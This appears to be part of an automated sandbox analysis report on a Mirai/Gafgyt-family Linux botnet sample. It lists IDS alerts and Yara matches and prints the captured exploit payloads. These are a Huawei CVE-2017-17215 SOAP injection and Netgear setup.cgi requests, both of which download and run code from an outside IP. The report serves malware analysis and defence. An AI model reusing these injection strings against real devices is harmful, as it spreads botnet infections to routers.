Process Memory Space: log21.x86_64.elf PID: 6294	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6294	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1778:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x178c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1804:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1818:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x182c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1840:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1854:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1868:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x187c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1890:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1908:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 8228 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.35.16

Timestamp:	192.168.2.23197.194.35.1640284372152835222 02/12/23-21:25:59.700349
SID:	2835222
Source Port:	40284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.110.252.200

Timestamp:	192.168.2.2334.110.252.20033702372152835222 02/12/23-21:25:54.553303
SID:	2835222
Source Port:	33702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.51.85

Timestamp:	192.168.2.23197.199.51.8553274372152835222 02/12/23-21:24:45.960835
SID:	2835222
Source Port:	53274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.2.24

Timestamp:	192.168.2.23197.192.2.2453192372152835222 02/12/23-21:25:41.774510
SID:	2835222
Source Port:	53192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 147.46.113.35

Timestamp:	192.168.2.23147.46.113.3538074372152835222 02/12/23-21:25:16.086103
SID:	2835222
Source Port:	38074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.220.237

Timestamp:	192.168.2.23197.196.220.23736814372152835222 02/12/23-21:26:12.969560
SID:	2835222
Source Port:	36814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.57.129

Timestamp:	192.168.2.23197.193.57.12940324372152835222 02/12/23-21:24:45.954281
SID:	2835222
Source Port:	40324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.160.175

Timestamp:	192.168.2.23197.194.160.17538508372152835222 02/12/23-21:24:53.118146
SID:	2835222
Source Port:	38508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.205.29

Timestamp:	192.168.2.2341.153.205.2939230372152835222 02/12/23-21:25:39.564782
SID:	2835222
Source Port:	39230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.49.49

Timestamp:	192.168.2.23197.197.49.4954676372152835222 02/12/23-21:24:42.885772
SID:	2835222
Source Port:	54676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.40.105

Timestamp:	192.168.2.2341.152.40.10553024372152835222 02/12/23-21:24:58.219138
SID:	2835222
Source Port:	53024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.192.111

Timestamp:	192.168.2.2341.153.192.11153014372152835222 02/12/23-21:25:34.474929
SID:	2835222
Source Port:	53014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 52.57.46.49

Timestamp:	192.168.2.2352.57.46.4955188802029215 02/12/23-21:25:08.751289
SID:	2029215
Source Port:	55188
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.96.233

Timestamp:	192.168.2.23197.192.96.23348450372152835222 02/12/23-21:26:09.892911
SID:	2835222
Source Port:	48450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.152.18

Timestamp:	192.168.2.23197.196.152.1845832372152835222 02/12/23-21:25:33.500438
SID:	2835222
Source Port:	45832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.231.24

Timestamp:	192.168.2.2341.153.231.2435092372152835222 02/12/23-21:25:26.318555
SID:	2835222
Source Port:	35092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.154.150

Timestamp:	192.168.2.23197.197.154.15038886372152835222 02/12/23-21:24:39.734139
SID:	2835222
Source Port:	38886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.247.0

Timestamp:	192.168.2.23197.194.247.036818372152835222 02/12/23-21:25:13.703507
SID:	2835222
Source Port:	36818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 103.43.8.124

Timestamp:	192.168.2.23103.43.8.12458310372152835222 02/12/23-21:25:52.445952
SID:	2835222
Source Port:	58310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.183.147

Timestamp:	192.168.2.23197.193.183.14734992372152835222 02/12/23-21:24:42.876215
SID:	2835222
Source Port:	34992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 213.151.56.95

Timestamp:	192.168.2.23213.151.56.9537202372152835222 02/12/23-21:25:07.481435
SID:	2835222
Source Port:	37202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.40.74

Timestamp:	192.168.2.23197.192.40.7439900372152835222 02/12/23-21:26:12.034593
SID:	2835222
Source Port:	39900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.176.28

Timestamp:	192.168.2.23197.193.176.2844558372152835222 02/12/23-21:25:58.630541
SID:	2835222
Source Port:	44558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.41.215

Timestamp:	192.168.2.23197.195.41.21543052372152835222 02/12/23-21:25:47.000235
SID:	2835222
Source Port:	43052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.153.71

Timestamp:	192.168.2.23197.196.153.7139826372152835222 02/12/23-21:25:52.509598
SID:	2835222
Source Port:	39826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.2.208

Timestamp:	192.168.2.23197.199.2.20858176372152835222 02/12/23-21:25:26.318610
SID:	2835222
Source Port:	58176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.228.209

Timestamp:	192.168.2.23197.192.228.20939964372152835222 02/12/23-21:26:11.958284
SID:	2835222
Source Port:	39964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.231.78

Timestamp:	192.168.2.23197.196.231.7850740372152835222 02/12/23-21:25:15.842416
SID:	2835222
Source Port:	50740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 52.48.46.49

Timestamp:	192.168.2.2352.48.46.4951510802029215 02/12/23-21:26:18.903135
SID:	2029215
Source Port:	51510
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.38.72

Timestamp:	192.168.2.2341.152.38.7260606372152835222 02/12/23-21:25:13.725119
SID:	2835222
Source Port:	60606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.138.33

Timestamp:	192.168.2.23197.194.138.3336534372152835222 02/12/23-21:25:03.305708
SID:	2835222
Source Port:	36534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.206.255

Timestamp:	192.168.2.23197.192.206.25538866372152835222 02/12/23-21:25:39.686751
SID:	2835222
Source Port:	38866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.228.142

Timestamp:	192.168.2.23197.195.228.14259754372152835222 02/12/23-21:25:18.157618
SID:	2835222
Source Port:	59754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.4.18

Timestamp:	192.168.2.23197.195.4.1857232372152835222 02/12/23-21:25:26.256778
SID:	2835222
Source Port:	57232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.218.103

Timestamp:	192.168.2.23197.195.218.10359744372152835222 02/12/23-21:25:09.548037
SID:	2835222
Source Port:	59744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.26.147

Timestamp:	192.168.2.23197.199.26.14740268372152835222 02/12/23-21:25:39.625300
SID:	2835222
Source Port:	40268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.154.125

Timestamp:	192.168.2.23197.194.154.12546328372152835222 02/12/23-21:24:46.022459
SID:	2835222
Source Port:	46328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.134.114

Timestamp:	192.168.2.2341.153.134.11444588372152835222 02/12/23-21:26:09.892842
SID:	2835222
Source Port:	44588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.1.109.43

Timestamp:	192.168.2.23197.1.109.4360688372152835222 02/12/23-21:24:37.659734
SID:	2835222
Source Port:	60688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.47.118

Timestamp:	192.168.2.23197.199.47.11832778372152835222 02/12/23-21:25:33.561084
SID:	2835222
Source Port:	32778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.171.183

Timestamp:	192.168.2.23197.197.171.18356402372152835222 02/12/23-21:25:09.567797
SID:	2835222
Source Port:	56402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.4.138

Timestamp:	192.168.2.23197.195.4.13834364372152835222 02/12/23-21:26:25.214309
SID:	2835222
Source Port:	34364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.50.39

Timestamp:	192.168.2.23197.195.50.3953986372152835222 02/12/23-21:26:25.230424
SID:	2835222
Source Port:	53986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.173.34

Timestamp:	192.168.2.23197.193.173.3457540372152835222 02/12/23-21:26:28.306311
SID:	2835222
Source Port:	57540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.126.106

Timestamp:	192.168.2.2341.153.126.10637348372152835222 02/12/23-21:25:52.521688
SID:	2835222
Source Port:	37348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.191.35

Timestamp:	192.168.2.2341.153.191.3533506372152835222 02/12/23-21:25:26.318562
SID:	2835222
Source Port:	33506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.69.247

Timestamp:	192.168.2.23197.199.69.24758460372152835222 02/12/23-21:26:23.138541
SID:	2835222
Source Port:	58460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.56.254

Timestamp:	192.168.2.23197.199.56.25458430372152835222 02/12/23-21:25:52.519015
SID:	2835222
Source Port:	58430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.90.119

Timestamp:	192.168.2.23197.192.90.11954312372152835222 02/12/23-21:26:15.036038
SID:	2835222
Source Port:	54312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.223.97

Timestamp:	192.168.2.23197.192.223.9750500372152835222 02/12/23-21:25:15.846801
SID:	2835222
Source Port:	50500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.250.58

Timestamp:	192.168.2.23197.193.250.5847704372152835222 02/12/23-21:25:51.212750
SID:	2835222
Source Port:	47704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.139.152

Timestamp:	192.168.2.23197.197.139.15241736372152835222 02/12/23-21:25:28.393319
SID:	2835222
Source Port:	41736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.62.85.225

Timestamp:	192.168.2.2341.62.85.22542096372152835222 02/12/23-21:24:41.803168
SID:	2835222
Source Port:	42096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.75.157

Timestamp:	192.168.2.23197.195.75.15750072372152835222 02/12/23-21:25:05.383017
SID:	2835222
Source Port:	50072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 52.51.46.49

Timestamp:	192.168.2.2352.51.46.4933524802029215 02/12/23-21:25:05.180062
SID:	2029215
Source Port:	33524
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.55.16

Timestamp:	192.168.2.2341.153.55.1655886372152835222 02/12/23-21:25:46.997605
SID:	2835222
Source Port:	55886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.11.116

Timestamp:	192.168.2.23197.39.11.11655196372152835222 02/12/23-21:26:00.795015
SID:	2835222
Source Port:	55196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 77.131.0.7

Timestamp:	192.168.2.2377.131.0.740274372152835222 02/12/23-21:24:45.933780
SID:	2835222
Source Port:	40274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 52.51.46.49

Timestamp:	192.168.2.2352.51.46.4933286802029215 02/12/23-21:24:58.038943
SID:	2029215
Source Port:	33286
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.154.143

Timestamp:	192.168.2.23197.196.154.14344924372152835222 02/12/23-21:25:09.605171
SID:	2835222
Source Port:	44924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.193.241.46

Timestamp:	192.168.2.2341.193.241.4652984372152835222 02/12/23-21:25:03.274884
SID:	2835222
Source Port:	52984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.28.14

Timestamp:	192.168.2.23197.195.28.1442952372152835222 02/12/23-21:26:32.476861
SID:	2835222
Source Port:	42952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 472Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 31 33 2e 33 30 2e 31 39 31 2e 31 39 38 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 113.30.191.198 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: proxy.akur.group!

Source: global traffic	HTTP traffic detected: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://113.30.191.198/miniupd.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: global traffic	HTTP traffic detected: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://113.30.191.198/miniupd.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: global traffic	HTTP traffic detected: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://113.30.191.198/miniupd.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: global traffic	HTTP traffic detected: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://113.30.191.198/miniupd.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

System Summary

Malicious sample detected (through community Yara rule)

Source: 6724.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6724.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6354.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6354.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7155.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7155.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
